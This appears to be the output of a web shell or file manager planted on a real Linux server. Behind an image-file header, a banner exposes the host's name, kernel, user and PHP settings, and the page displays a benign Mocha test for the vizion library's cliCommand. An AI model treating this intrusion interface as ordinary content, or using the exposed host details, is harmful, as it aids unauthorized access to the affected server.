ÿØÿà JFIF ` ` ÿþ
|
Server : Apache System : Linux cloud.heroica.com.br 4.18.0-553.36.1.el8_10.x86_64 #1 SMP Wed Jan 22 03:07:54 EST 2025 x86_64 User : farolpborg ( 1053) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /proc/self/root/usr/lib/node_modules/pm2/node_modules/vizion/test/functional/ |
Upload File : |
var expect = require('chai').expect;
var cliCommand = require("../../lib/cliCommand.js");
describe('Functional: cliCommand', function () {
it("ok", function () {
var target, folder;
if (/^win/.exec(process.platform)) {
folder = "C:\\Program Files\\nodejs\\foobar";
target = "cd \"" + folder + "\" && git status -s";
}
else {
folder = "/etc/node/foobar";
target = "cd '" + folder + "';LC_ALL=en_US.UTF-8 git status -s";
}
var result = cliCommand(folder, "git status -s");
expect(target).to.eq(result);
});
});